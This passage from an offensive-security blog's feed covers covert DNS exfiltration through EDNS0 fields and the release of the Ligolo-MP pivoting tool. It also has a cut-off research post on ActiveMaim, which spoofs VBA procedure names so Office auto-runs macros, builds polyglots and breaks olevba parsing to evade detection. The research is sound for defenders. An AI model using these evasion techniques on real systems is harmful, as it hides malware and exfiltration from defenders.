<p>While I think that these techniques are rather amusing, and I strongly believe they will definitely let you fly under the radar if applied wisely. At the same time, these techniques, once known, are easily flagged: e.g. if a single machine in your network starts sending ECS sectors in DNS requests, while the rest of your infra doesn’t do that - it’s pretty obvious. But if the protocol is tailored for a specific environment it’s used in, it’s going to be quite hard to spot. Keep in mind that these are not just standalone techniques, but they can also be combined and chained together - the detection might get extremely tricky.</p>

<p>Now, to be honest, I don’t think I fuzzed every possible combination of different sectors, because the behavior of public DNS servers sometimes differs based on the exact context the request is used. So there might be more abusable fields like ECS that are forwarded to the authoritative server. Furthermore, EDNS0 is still in active development, so going forward there might be new extensions that can be used for exfiltration of data as well.</p>

<p>In any case, it’s a pain in the ass to start messing around with DNS on a lower lever and I hope that this simple PoC will make the life of the next researcher at least a little bit easier.</p>]]></content><author><name>TTP Report</name></author><category term="evasion" /><category term="TA0005" /><category term="TA0011" /><category term="TA0010" /><category term="exfil" /><category term="C2" /><category term="DNS" /><summary type="html"><![CDATA[When you end up in a more strictly controlled environment, HTTP and DNS are likely the only protocols allowed to go outside. Furthermore, you can bet on both being proxied and highly monitored. This time, I’ll focus on some opportunities to hide traffic within DNS that does not trigger traditional subdomain-based anomaly detection.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://ttp.report/assets/images/posts/2025-02-03-siphondns-covert-dns-exfiltration/banner.png" /><media:content medium="image" url="https://ttp.report/assets/images/posts/2025-02-03-siphondns-covert-dns-exfiltration/banner.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Releasing Ligolo-MP!</title><link href="https://ttp.report/tools/2024/01/21/ligolo-mp-pivoting-with-friends.html" rel="alternate" type="text/html" title="Releasing Ligolo-MP!" /><published>2024-01-21T00:00:00+00:00</published><updated>2024-01-21T00:00:00+00:00</updated><id>https://ttp.report/tools/2024/01/21/ligolo-mp-pivoting-with-friends</id><content type="html" xml:base="https://ttp.report/tools/2024/01/21/ligolo-mp-pivoting-with-friends.html"><![CDATA[<p>When it comes to pivoting, your trusty C2’s socks chains are the usual choice, but they are a pain in the ass, especially when you don’t need stealth. Until recently, I’ve mostly used Chisel in such instances, I’ve also played around with tun2socks on top of all that and it’s alright, but it’s a bit wonky and takes too much effort to set up and maintain.</p>

<p>Then I discovered a wonderful tool called <a href="https://github.com/nicocha30/ligolo-ng">Ligolo-ng</a>. It solved most of the issues I had with the old approach, but it was still quite unwieldy when you want to play hackers together with friends and the target network is complex and big enough.</p>

<p>That’s why I’m happy to present to you my version of this fantastic tool: <a href="https://github.com/ttpreport/ligolo-mp">Ligolo-mp</a>! It’s all the great things of the original and a whole bunch of handy features like multiplayer, concurrent relays, agent persistence, loopback routing, mTLS, etc on top.</p>

<h2 id="tldr">TL;DR</h2>

<p>For pivoting, when you don’t need stealth, but want more convenience, multiplayer and all that good stuff, check out my <a href="https://github.com/ttpreport/ligolo-mp">Ligolo-mp</a>.</p>

<h2 id="target-audience-and-issues">Target audience and issues</h2>

<p>Before explaining the solution, I should probably state the problem, because if you’re working alone or in a huge team, you probably wonder what’s my problem with the original Ligolo or even tun2socks.</p>

<p>The perfect target audience for Ligolo-mp is a small to moderate size team, when there are not enough people to have dedicated support roles, but enough people to start having problems with sharing network access to the target network. In my experience, after you get bigger than 3 people and the target requires multiple pivoting points, you will end up interfering with each other’s routing on the attacking machine and spend a significant amount of time explaining how to get to some part of the network when your teammate switches from their stuff to help you out or you just need to fix a broken tunnel that was set up by someone else.</p>

<p>The first issue that I’ve encountered is that you need several instances of the tool, one per pivot point you need to be running concurrently. While not a big deal when you work alone, you’ll be forced to share it via Tmux or something in a multiplayer scenario, so you don’t end up the only person who can manipulate the tunnel and fix it if something breaks.</p>

<p>Now, keep in mind that since you are running several instances, you’ll end up having a whole bunch of different ports you need to keep track of: if the target network is unstable or you lost the agent and need to restart it, you’ll need to refer to this list of ports to figure out where this particular agent has to connect back to.</p>

<p>Then you also have to keep track of routing, which requires additional focus from everybody involved. If you have an overlap in the routing table, you will start losing connectivity without any indication that something’s wrong. And if you need a route to the loopback interface of the pivot itself, you’ll end up using some “magic” IP for that, which also takes too much mental space.</p>

<p>Also, having no easy way to get an overview of current tunnels and routing being completely separate from the tunneling controls doesn’t help. If someone joins later in the assessment, you will waste quite a bit of time explaining the current state of the network.</p>

<p>I also had a few issues with some of the technical decisions of Ligolo-ng, like the way it implements listeners and relays. The certificate management was a pain in the ass too. But these are somewhat minor, compared to everything else.</p>

<h2 id="solution">Solution</h2>

<p>All of these pain points boil down to 2 issues with the overall setup: multiple instances and separation of routing and tunneling controls. This means, that if the tool was natively multiplayer, and supported concurrent tunnels and routing controls, most of these issues would kind of solve themselves.</p>

<p>I’m not going to go too deep into the solution, just the highlights of the core features. You can find a more detailed setup guide in the repo and check out the implementations in the code yourself.</p>

<h3 id="multiplayer">Multiplayer</h3>

<p>I mimicked Sliver’s approach: a client-server architecture with certificate-based authentication. I also chose gRPC for communication protocol, not really because of Sliver, but I generally feel that it’s easiest for development and one of the goals here was to get it working with minimal effort.</p>

<p>This approach eliminated the need to access the attacking machine and event streaming also allows you to monitor all the state changes in real-time, so you can immediately react when you lose an agent, someone changes the routing, etc.</p>

<p>Technically, the solution is not as robust as Sliver, of course, but after several test runs, it seems to be reliable enough.</p>

<h3 id="certificates-and-mtls">Certificates and mTLS</h3>

<p>Original certificate management felt insufficiently opinionated, which led to a somewhat difficult setup if you want to have secure channels. I decided to remove any options from the equation and stick with the single solution, which is fully automated and doesn’t require any manual setup: the server works as a certificate authority, signing all of the certificates that are generated at runtime.</p>

<p>Although self-signed certificates work fine, basically out of the box, the default verification procedure includes a hostname check as well, which doesn’t allow you to just listen on 0.0.0.0 and don’t worry about too many details, like which interface you want to generate a certificate for or which domain front you’re using for this particular target, etc.</p>

<p>And once again, I salute the authors of Sliver as I shamelessly copy-pasted their re-implementation of certificate verification, which does all the checks, except hostname. Thankfully, Golang’s implementation of TLS is modular enough and allows you to use your custom verification procedure seamlessly.</p>

<h3 id="concurrent-relays">Concurrent relays</h3>

<p>I kept the initial structure of 1 TUN = 1 tunnel, not out of technical limitations, but to simplify the usage. The first implementation allowed multiplexing several tunnels from the same agent and vice versa, but the management of this routing and the sheer mental effort required to keep everything reasonably logical was just too much and the benefit was almost zero.</p>

<p>So, you can have only 1 tunnel for a pair of TUN and agent, but you definitely can spawn unlimited tunnels for different TUN/agent combinations concurrently.</p>

<h3 id="tun-management">TUN management</h3>

<p>This is probably the most controversial one because I know that some people like to have more fine-grained control over their network interfaces and it can even be a requirement for some complex setups, but I went for ease of use.</p>

<p>You have limited management capabilities for the system’s TUNs: create, delete, and change routing tables. While not too granular, test runs showed that it’s enough in most cases.</p>

<p>Also, on top of just being notified about any TUN changes, it will check your routes for overlaps and will not allow you to make the network behave unexpectedly.</p>

<p>This is also the reason why v1.0.0 server supports only Linux: managing TUNs on other platforms requires some effort, and since I don’t have the need for windows/darwin server, I skipped this feature for now.</p>

<h3 id="loopback-routing">Loopback routing</h3>

<p>I found myself leaning back to solutions like Chisel when I needed to access the local services of the host that I use as a pivot point. And since the networking is already virtualized with gVisor, it’s quite easy to hook additional logic in there: you can create a TUN with a “loopback” flag, which makes all the traffic going through it be routed to the localhost.</p>

<p>It allows you to create arbitrary routing to the loopback interface of the pivot itself, which eliminates the need for additional tools in such cases.</p>

<h3 id="dynamic-agent-binary">Dynamic agent binary</h3>

<p>Again, more of a usability feature, but I hate having input parameters or flags in my malicious binaries. It also makes it awkward to run them in-memory too.</p>

<p>So, now you generate an agent dynamically like you’re used to with your C2’s beacons. It embeds unique mTLS certificate in there, all the options you might need, and as a bonus of me borrowing code from Sliver, it can also obfuscate the binary with Garble.</p>

<p>This tool is not stealthy at all, but I figured, why bother removing obfuscation capability, if it’s already in there, right?</p>

<h3 id="independent-listeners">Independent listeners</h3>

<p>The original implementation of listeners is tied to the server and it wouldn’t work properly if the server isn’t reachable. I didn’t have any problems with that, but it just felt weird and I didn’t find any reason for them to be so tightly bound.</p>

<p>In my version, they act like independent redirectors. You can probably find more uses for this functionality, than just chaining agents together. For example, you can use them as lightweight redirectors for your C2 traffic or something.</p>

<h2 id="future-work">Future work</h2>

<p>This final solution solved all of the problems that I had, but I can’t say that I’m 100% satisfied with the code quality and some of the design decisions I made along the way.</p>

<p>I also kept the original server&lt;-&gt;agent protocol, which was horrible in terms of usability. It worked out in the end, but I think it requires a complete overhaul.</p>

<p>Furthermore, I feel like the whole management interface can be simplified and the overview of network map could be made for friendly. Maybe even removing direct TUN management altogether could be a good idea, make it more automated.</p>

<p>The pattern I chose for storing agents, listeners, and TUNs feels a little bit raw and the overall internal architecture of the server is probably not the best.</p>

<p>There are also features I omitted because I didn’t find too much benefit in them, but they might be quite useful for someone else. For example, supporting UDP redirection or a more robust certificate management and a capability to revoke certificates of compromised agents.</p>

<p>If I get any suggestions for the new features, I might think about all of it again, we’ll see.</p>]]></content><author><name>TTP Report</name></author><category term="tools" /><category term="TA0008" /><category term="pivoting" /><category term="tunneling" /><category term="multiplayer" /><summary type="html"><![CDATA[When it comes to pivoting, your trusty C2’s socks chains are the usual choice, but they are a pain in the ass, especially when you don’t need stealth. Until recently, I’ve mostly used Chisel in such instances, I’ve also played around with tun2socks on top of all that and it’s alright, but it’s a bit wonky and takes too much effort to set up and maintain.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://ttp.report/assets/images/posts/2024-01-21-ligolo-mp-pivoting-with-friends/banner.png" /><media:content medium="image" url="https://ttp.report/assets/images/posts/2024-01-21-ligolo-mp-pivoting-with-friends/banner.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Releasing ActiveMaim!</title><link href="https://ttp.report/evasion/2023/11/02/releasing-activemaim-evade-macros-detection.html" rel="alternate" type="text/html" title="Releasing ActiveMaim!" /><published>2023-11-02T00:00:00+00:00</published><updated>2023-11-02T00:00:00+00:00</updated><id>https://ttp.report/evasion/2023/11/02/releasing-activemaim-evade-macros-detection</id><content type="html" xml:base="https://ttp.report/evasion/2023/11/02/releasing-activemaim-evade-macros-detection.html"><![CDATA[<p>A few months ago JPCERT/CC <a href="https://blogs.jpcert.or.jp/en/2023/08/maldocinpdf.html">released</a> a “new” techinque they’ve encountered, where Bad Guys generated a DOC/PDF polyglot to bypass VBA detection. I’ve put “new” in quotes just because veterans definitely remember exactly the same technique being used as early as 2014-2015. Well, maybe novelty here is that the Baddies figured out how good of a polyglot MHT format really is, not sure.</p>

<p>Anyway, after their publication, all of the analysis out there followed the usual flow of “I’ll just shove this thing into CyberChef, then oletools and write several pages about it”, so I’ve decided it makes sense to dive just a little bit deeper into this technique.</p>

<p>Turned out, besides obvious polyglot capabilities, there’s a little bit more obscure functionality to abuse.</p>

<p>Also, I’d like to give a big shout-out to a buddy of mine for helping me with reversing huge Office’s DLLs and figuring this out overall.</p>

<p>Now, let’s get down to business.</p>

<h2 id="tldr">TL;DR</h2>

<p>It’s possible to tamper with VbaSuppData contents to achieve auto-execution of arbitrarily named VBA macros. On top of that, there’s also a few opportunities for additional detection bypass due to mismatch in zlib decompression implementation, multipart data extraction and amazing polyglot capabilities of MHTML format. You can find the tool to play around with it <a href="https://github.com/ttpreport/activemaim">here</a>.</p>

<h2 id="word-document-in-mhtml">Word document in MHTML</h2>

<p>I’m not going to do MHTML for dummies here - you are more than capable to google the details. But just for completeness sake and to underline the part that’s relevant for this research, here’s what an average Word document with a macros inside looks like in MHTML:</p>

<pre><code class="language-mhtml">MIME-Version: 1.0
Content-Type: multipart/related; boundary="----=_NextPart_01DA0113.4B769540"

------=_NextPart_01DA0113.4B769540
Content-Location: file:///C:/8D882234/simple-document.htm
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="windows-1252"

&lt;html xmlns:v=3D"urn:schemas-microsoft-com:vml"
xmlns:o=3D"urn:schemas-microsoft-com:office:office"
xmlns:w=3D"urn:schemas-microsoft-com:office:word"
xmlns:m=3D"http://schemas.microsoft.com/office/2004/12/omml"
xmlns=3D"http://www.w3.org/TR/REC-html40"&gt;

&lt;head&gt;
&lt;meta http-equiv=3DContent-Type content=3D"text/html; charset=3Dwindows-125=
2"&gt;
&lt;meta name=3DProgId content=3DWord.Document&gt;
&lt;meta name=3DGenerator content=3D"Microsoft Word 15"&gt;
&lt;meta name=3DOriginator content=3D"Microsoft Word 15"&gt;
&lt;link rel=3DFile-List href=3D"simple-document_files/filelist.xml"&gt;
&lt;link rel=3DEdit-Time-Data href=3D"simple-document_files/editdata.mso"&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;o:DocumentProperties&gt;
  &lt;o:Author&gt;user&lt;/o:Author&gt;

..........snip..........

&lt;/head&gt;
&lt;body lang=3DEN-US style=3D'tab-interval:.5in;word-wrap:break-word'&gt;
&lt;div class=3DWordSection1&gt;
&lt;p class=3DMsoNormal&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;

------=_NextPart_01DA0113.4B769540
Content-Location: file:///C:/8D882234/simple-document_files/themedata.thmx
Content-Transfer-Encoding: base64
Content-Type: application/vnd.ms-officetheme

UEsDBBQABgAIAAAAIQDp3g+//wAAABwCAAATAAAAW0NvbnRlbnRfVHlwZXNdLnhtbKyRy07DMBBF
90j8g+UtSpyyQAgl6YLHjseifMDImSQWydiyp1X790zSVEKoIBZsLNkz954743K9Hwe1w5icp0qv
8kIrJOsbR12l3zdP2a1WiYEaGDxhpQ+Y9Lq+vCg3h4BJiZpSpXvmcGdMsj2OkHIfkKTS+jgCyzV2
JoD9gA7NdVHcGOuJkTjjyUPX5QO2sB1YPe7l+Zgk4pC0uj82TqxKQwiDs8CS1Oyo+UbJFkIuyrkn
9S6kK4mhzVnCVPkZsOheZTXRNajeIPILjBLDsAyJX89nIBkt5r87nons29ZZbLzdjrKOfDZezE7B
/xRg9T/oE9PMf1t/AgAA//8DAFBLAwQUAAYACAAAACEApdan58AAAAA2AQAACwAAAF9yZWxzLy5y
ZWxzhI/PasMwDIfvhb2D0X1R0sMYJXYvpZBDL6N9AOEof2giG9sb69tPxwYKuwiEpO/3qT3+rov5
4ZTnIBaaqgbD4kM/y2jhdj2/f4LJhaSnJQhbeHCGo3vbtV+8UNGjPM0xG6VItjCVEg+I2U+8Uq5C

..........snip..........

------=_NextPart_01DA0113.4B769540
Content-Location: file:///C:/8D882234/simple-document_files/colorschememapping.xml
Content-Transfer-Encoding: quoted-printable
Content-Type: text/xml

&lt;?xml version=3D"1.0" encoding=3D"UTF-8" standalone=3D"yes"?&gt;
&lt;a:clrMap xmlns:a=3D"http://schemas.openxmlformats.org/drawingml/2006/main"=
 bg1=3D"lt1" tx1=3D"dk1" bg2=3D"lt2" tx2=3D"dk2" accent1=3D"accent1" accent=
2=3D"accent2" accent3=3D"accent3" accent4=3D"accent4" accent5=3D"accent5" a=
ccent6=3D"accent6" hlink=3D"hlink" folHlink=3D"folHlink"/&gt;
------=_NextPart_01DA0113.4B769540
Content-Location: file:///C:/8D882234/simple-document_files/editdata.mso
Content-Transfer-Encoding: base64
Content-Type: application/x-mso

QWN0aXZlTWltZQAAAfAEAAAA/////wAAB/AIDgAABAAAAAQAAAAAAAAAAAAAAAAsAAB4nO1afWxb
VxU/79lJbTfp3JBtbVfWV6fb2izOnj/iJF0z4s+kXVJnTZbsw6x1nJfGnWNntrNmlG3uWokBQwMN
gZjYgG4aEmJVN8Qk0JBK/wEhNIZAgo2JMRiI/xhIfAhpM7/z3n2289W4KUhs2nn95V6f9+695557
Pu59r6/+bPPvvvHCtrdoCd1CFnqvbKfGGp4koJOTSBa/3yuXyya7/CG9r+hdYINYQyvKBoDX3AZs
BOyAA2gSzzSj3ARcYZgAbQZagI8AreKZD+n9Q4coh6tICkUpizJPDywNBRelq2AxZl+ONZ51vv7a

..........snip..........

------=_NextPart_01DA0113.4B769540
Content-Location: file:///C:/8D882234/simple-document_files/filelist.xml
Content-Transfer-Encoding: quoted-printable
Content-Type: text/xml; charset="utf-8"

&lt;xml xmlns:o=3D"urn:schemas-microsoft-com:office:office"&gt;
 &lt;o:MainFile HRef=3D"../simple-document.htm"/&gt;
 &lt;o:File HRef=3D"themedata.thmx"/&gt;
 &lt;o:File HRef=3D"colorschememapping.xml"/&gt;
 &lt;o:File HRef=3D"editdata.mso"/&gt;
 &lt;o:File HRef=3D"filelist.xml"/&gt;
&lt;/xml&gt;
------=_NextPart_01DA0113.4B769540--
</code></pre>

<p>The document layout is translated to HTML and stored in the first part, then there’s additional metadata like themes, document file list and so on, but what’s important here is second to last part with location <code class="language-plaintext highlighter-rouge">file:///C:/8D882234/simple-document_files/editdata.mso</code> - that’s the VBA project, translated into <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-cfb/53989ce4-7b05-4f8d-829b-d08d6148375b">MS-CFB</a>, compressed into ActiveMime container and base64-encoded.</p>

<h2 id="original-payload">Original payload</h2>

<p>Reproducing original payload is remarkably trivial:</p>

<ol>
  <li>Just save the document as .mht using Word’s own functionality</li>
  <li>Prepend a pdf magic bytes to it (and maybe some more junk bytes)</li>
  <li>Change the extension to .doc so it’s forced to be opened by Word, not IE</li>
</ol>

<p>Why not prepend the whole PDF document? Well, some bytes like 0x0A actually breaks the parsing both for analytical tools and for MS Office itself, so you have to be a little bit careful with it.</p>

<p>But really, there’s nothing interesting here, except the fact that Word’s MHTML parser allows to prepend almost any junk to the actual content, but I’ll get back to it later. As for its bypass capabilities, it’s actually kinda meh: it does fool some of the antiviruses into thinking that it’s a PDF and not running appropriate tooling, but as you can see on <a href="https://www.virustotal.com/gui/file/ef59d7038cfd565fd65bae12588810d5361df938244ebad33b71882dcf683058">VirusTotal</a>, it’s not that good anymore, especially after multiple AVs updated their signatures when the initial publication hit the net:</p>

<p><img src="/assets/images/posts/2023-11-02-releasing-activemaim-evade-macros-detection/12.png" alt="Benchmark-runner" /></p>

<p>More over, if you just run your trusty oletools, it’s not bothered by the preneded junk at all:</p>

<p><img src="/assets/images/posts/2023-11-02-releasing-activemaim-evade-macros-detection/1.png" alt="Oletools results" /></p>

<p>Oletools was also updated to accomodate this polyglot. So, probably before the publication, the detection rates were quite good indeed.</p>

<h2 id="elusive-activemime-format">Elusive ActiveMime format</h2>

<p>While MS-CFB is very well documented and there are multiple libraries and tools to work with it, the ActiveMime format has no official documentation at all. In fact, the only thing I could find is <a href="https://github.com/idiom/activemime-format">this repo</a>: a pretty good effort of reverse engineering the format and the parsing tool as well.</p>

<p>Here’s how an average ActiveMime container looks like:</p>

<pre><code class="language-hex">0000:0000 | 41 63 74 69  76 65 4D 69  6D 65 00 00  01 F0 04 00 | ActiveMime...ð..
0000:0010 | 00 00 FF FF  FF FF 00 00  07 F0 AC 0D  00 00 04 00 | ..ÿÿÿÿ...ð¬.....
0000:0020 | 00 00 04 00  00 00 00 00  00 00 00 00  00 00 00 2A | ...............*
0000:0030 | 00 00 78 9C  ED 5A 7D 6C  5B D5 15 3F  EF D9 49 6D | ..x.íZ}l[Õ.?ïÙIm
0000:0040 | D7 69 DD 90  96 B6 94 E6  C5 E9 47 1A  92 F0 9E ED | ×iÝ..¶.æÅéG..ð.í
0000:0050 | 24 4E 69 BA  D8 CF 4E D2  92 34 21 09  0D 0C 43 E3 | $NiºØÏNÒ.4!...Cã
0000:0060 | 24 2F A9 5B  3B 0E B6 43  03 A5 D4 A5  95 C6 80 4D | $/©[;.¶C.¥Ô¥.Æ.M
0000:0070 | 0C F6 05 93  40 63 88 69  D5 CA A0 D3  40 9B 8A D4 | .ö..@c.iÕÊ Ó@..Ô
..........snip..........
</code></pre>

<p>Let’s parse it real quick, based on the tool I’ve mentioned before:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">41 63 74 69  76 65 4D 69  6D 65 00 00</code> - magic bytes</li>
  <li><code class="language-plaintext highlighter-rouge">01 F0</code> - unknown</li>
  <li><code class="language-plaintext highlighter-rouge">04 00 00 00</code> - field size</li>
  <li><code class="language-plaintext highlighter-rouge">FF FF FF FF</code> - unknown</li>
  <li><code class="language-plaintext highlighter-rouge">00 00 07 F0</code> - unknown</li>
  <li><code class="language-plaintext highlighter-rouge">AC 0D 00 00</code> - compressed size of the container</li>
  <li><code class="language-plaintext highlighter-rouge">04 00 00 00</code> - field size</li>
  <li><code class="language-plaintext highlighter-rouge">04 00 00 00</code> - field size</li>
  <li><code class="language-plaintext highlighter-rouge">00 00 00 00</code> - unknown</li>
  <li><code class="language-plaintext highlighter-rouge">00 00 00 00</code> - block contains some unencoded VB Project Strings</li>
  <li><code class="language-plaintext highlighter-rouge">00 2A 00 00</code> - size of uncompressed container</li>
  <li><code class="language-plaintext highlighter-rouge">78 9C ED 5A ...</code> - zlib-compressed MS-CFB container</li>
</ul>

<p>There is already quite a bit to play with, because some tools just skip to the compressed data part, relying on the fact that the metadata is always the same size, which is not true. But that’s not too interesting and oletools properly covers this part.</p>

<p>After a little bit of fuzzing and experimentation with different types of macros, I’ve noticed that the length of compressed MS-CFB doesn’t always match with the remaining data till the end of file. There’s always some kind of delimiting footer junk, but sometimes the difference is very significant. Long story short, it turned out that if the document macros contains argumentless procedures, then after declared compressed size bytes there is a whole sector of non-compressed data describing it. Something like this:</p>

<pre><code class="language-hex">0000:0E40 | 09 04 00 00  FF 01 01 00  00 00 56 00  00 00 00 00 | ....ÿ.....V.....
0000:0E50 | FF FF 00 00  00 00 00 00  00 00 00 00  00 00 00 00 | ÿÿ..............
0000:0E60 | 00 00 10 FF  FF 01 00 02  00 1A 00 50  00 72 00 6F | ...ÿÿ......P.r.o
0000:0E70 | 00 6A 00 65  00 63 00 74  00 2E 00 4E  00 65 00 77 | .j.e.c.t...N.e.w
0000:0E80 | 00 4D 00 61  00 63 00 72  00 6F 00 73  00 2E 00 41 | .M.a.c.r.o.s...A
0000:0E90 | 00 75 00 74  00 6F 00 4F  00 70 00 65  00 6E 00 01 | .u.t.o.O.p.e.n..
0000:0EA0 | 00 11 01 00  00 00 1A 00  50 00 52 00  4F 00 4A 00 | ........P.R.O.J.
0000:0EB0 | 45 00 43 00  54 00 2E 00  4E 00 45 00  57 00 4D 00 | E.C.T...N.E.W.M.
0000:0EC0 | 41 00 43 00  52 00 4F 00  53 00 2E 00  41 00 55 00 | A.C.R.O.S...A.U.
0000:0ED0 | 54 00 4F 00  4F 00 50 00  45 00 4E 00  00 00 40 00 | T.O.O.P.E.N...@.
0000:0EE0 | 00 0B F0 04  00 00 00 12  34 56 78                 | ..ð.....4Vx   
</code></pre>

<p>Just for ease of communication I’ve labeled this chunk “the magic tail”.</p>

<h2 id="the-magic-tail">The Magic Tail</h2>

<p>Playing around with different storage formats for macro-enabled documents, I found out that at least part of this structure is actually a serialized <a href="https://learn.microsoft.com/en-us/openspecs/office_standards/ms-offmacro2/8b8c1c5f-ba88-4685-9410-6c30a315b632">VbaSuppData</a> class.</p>

<p>As for all the other bytes, I’m not going to describe all the attempts to reverse engineer mso.dll and other relevant libraries. Microsoft doesn’t provide symbols for them and blindly poking in several 20-30mb DLLs isn’t fun. So most of the assumptions are mostly based on countless test documents and weeks of fuzzing. Reading <a href="https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/575462ba-bf67-4190-9fac-c275523c75fc">MS-OVBA</a> and <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-propstore/39ea873f-7af5-44dd-92f9-bc1f293852cc">MS-PROPSTORE</a> was also helpful as this magic tail looks a little bit similar in its structure.</p>

<p>So, let’s parse this example:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">09 04 00 00</code> - unknown, probably ID of the whole structrue and the segment count</li>
  <li><code class="language-plaintext highlighter-rouge">FF</code> - delimiter</li>
  <li><code class="language-plaintext highlighter-rouge">01</code> - unknown, probably ID of the whole structure or the size of the next value</li>
  <li><code class="language-plaintext highlighter-rouge">01</code> - size of the structure that follows (array of procedures’ metadata)</li>
  <li><code class="language-plaintext highlighter-rouge">00 00 00 56 00 00 00 00 00</code> - ‘mcds’ property of VbaSuppData structure, where 56 is ‘cmd’ param and a byte right after (which is ‘00’ here) is ‘bEncrypt’ param</li>
  <li><code class="language-plaintext highlighter-rouge">FF FF</code> - delimiter</li>
  <li><code class="language-plaintext highlighter-rouge">00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10</code> - unknown, always same</li>
  <li><code class="language-plaintext highlighter-rouge">FF FF</code> - delimiter</li>
  <li><code class="language-plaintext highlighter-rouge">01 00</code> - size of the structure that follows (array of procedures’ names)</li>
  <li><code class="language-plaintext highlighter-rouge">02 00</code> - unknown</li>
  <li><code class="language-plaintext highlighter-rouge">1A 00</code> - size of the procedure name</li>
  <li><code class="language-plaintext highlighter-rouge">50 00 72 00 6F 00 6A 00 65 00 63 00 74 00 2E 00 4E 00 65 00 77 00 4D 00 61 00 63 00 72 00 6F 00 73 00 2E 00 41 00 75 00 74 00 6F 00 4F 00 70 00 65 00 6E 00</code> - ‘name’ param of VbaSuppData, full procedure name (including project and module, delimited by a dot) in UTF-16</li>
  <li><code class="language-plaintext highlighter-rouge">01 00 11</code> - unknown</li>
  <li><code class="language-plaintext highlighter-rouge">01 00</code> - size of the structure that follows (array of procedures’ links)</li>
  <li><code class="language-plaintext highlighter-rouge">00 00</code> - unknown</li>
  <li><code class="language-plaintext highlighter-rouge">1A 00</code> - size of the procedure link</li>
  <li><code class="language-plaintext highlighter-rouge">50 00 52 00 4F 00 4A 00 45 00 43 00 54 00 2E 00 4E 00 45 00 57 00 4D 00 41 00 43 00 52 00 4F 00 53 00 2E 00 41 00 55 00 54 00 4F 00 4F 00 50 00 45 00 4E 00</code> - ‘macroName’ param of VbaSuppData, full procedure link in uppercase (including project and module, delimited by a dot), in UTF-16</li>
  <li><code class="language-plaintext highlighter-rouge">00 00 40 00 00 0B F0 04 00 00 00 12 34 56 78</code> - unknown, probably just static footer</li>
</ul>

<p>The structure of this magic tail for a macros with more argumentless procedures follows the same principle: there are values for each procedure metadata, delimited by <code class="language-plaintext highlighter-rouge">FF FF</code>, values for each procedure name and link as well - I don’t want to bloat this post with too many examples, you are free to check out the code, it should be quite self-explanatory. I still don’t understand what some of the values do and this is just an educated guess and I might be far off, but this is what ended up making sense for me.</p>

<p>At some point I thought that this is just the serialized VbaSuppData structure, but it looks like that there’s a bit more to it, because I couldn’t find any correlation between most of the bytes and values of VbaSuppData in raw XML. Also, there are some parts that I ommited for brevity, like help menu information, but they didn’t provide much more attack surface than there already is.</p>

<p>Now, what’s a bit weird here is that there are two arrays that just store the name of the procedure - one in original case and the other in uppercase. I have two guesses about that:</p>

<ol>
  <li>
    <p>This could be the same as mentioned in MS-OVBA: long time ago, Office didn’t fully support unicode and they stored procedure names in the structure that I called “array of procedures’ names” here. Later, they added unicode support, but they follow strict backwards compatibility rules and couldn’t change what’s already there and just introduced an additional field with unicode names - I called it “array of procedures’ links here.</p>
  </li>
  <li>
    <p>Both structures are used for optimization as it’d be really slow to extract all the macros from CFB to just show the names in a list, for example. So the array of names is used for displaying a list of procedures, when you click on “View Macros” button and the array of links is used to process the event-based procedures faster.</p>
  </li>
</ol>

<p>These two don’t really contradict each other, so both could be true or some partial combination. Again, just to have some way of communicating it, I’ve called one ‘procedure name’ and the other one ‘procedure link’.</p>

<p>The reason for this weird naming, especially since these values have their proper names defined in VbaSuppData, is that they aren’t just names - you’ll see in the next section.</p>

<h2 id="security-implications">Security implications</h2>

<h3 id="procedure-name-spoofing">Procedure name spoofing</h3>
<p>While names seem to be purely cosmetic, the links are actually overriding the VBA project parameters that are stored in CFB. So, by changing the link name to something else will actually change its name during VBA interpretation.</p>

<p>This leads to something quite interesting: you can change the link name to some auto-executing procedure like AutoOpen() and it will indeed be executed on document open event, despite the actual VBA project not having AutoOpen() procedure declared at all.</p>

<p>That means, that even if your macros gets properly extracted from the document, for all the AVs and analytical tools there is no auto-executing (and thus suspicious) code at all. Which obviously leads to complete significant decrease in detection rates, at least at the time of writing.</p>

<p>There’s a small caveat, though: the length of the procedure name must not change. For example, if you spoof AutoOpen() procedure which name is 8 characters long, your actual procedure should also be 8 characters long. I’ve tried tampering the bytes that define the length of the name, but with no success. My best guess is that it reads the length of the name from the magic tail and uses it to parse the actual macros data stored in CFB, so the values must match. If you do the same trick in other, non-binary formats (i.e. XML), it does work with any length, but it looks like it changes something in the CFB to make it work and I didn’t bother to find out what exactly, becuase it doesn’t really affect the results.</p>

<p>Also, you can tamper with the order of the procedures in the array: if you have several procedures in the magic tail, you can swap around the IDs and make Office call one procedure instead of another, because it addresses them by name, which will bypass naive heuristics that could be implemented to detect name spoofing.</p>

<h3 id="polyglot-shenanigans">Polyglot shenanigans</h3>
<p>Just to expand the polyglot tricks of the initial payload a little bit, there’s another way to fool olevba. If you take a look at olevba’s parser code, you’ll notice it relies on a lot of arbitrary string matching. It wasn’t that good before, but the fix made to cover the initial polyglot payload made it even worse.</p>

<p>So, let’s take this simple macro-enabled document and parse it with olevba:</p>

<p><img src="/assets/images/posts/2023-11-02-releasing-activemaim-evade-macros-detection/9.png" alt="Benchmark-runner" /></p>

<p>Now, if I prepend a random string to the document, but also make sure to add ‘MIME’ somewhere in there, like so:</p>

<p><img src="/assets/images/posts/2023-11-02-releasing-activemaim-evade-macros-detection/11.png" alt="Benchmark-runner" /></p>

<p>Then olevba can’t even find the macro or parse the document properly at all:</p>

<p><img src="/assets/images/posts/2023-11-02-releasing-activemaim-evade-macros-detection/10.png" alt="Benchmark-runner" /></p>

<h3 id="breaking-zlib-stream">Breaking zlib stream</h3>
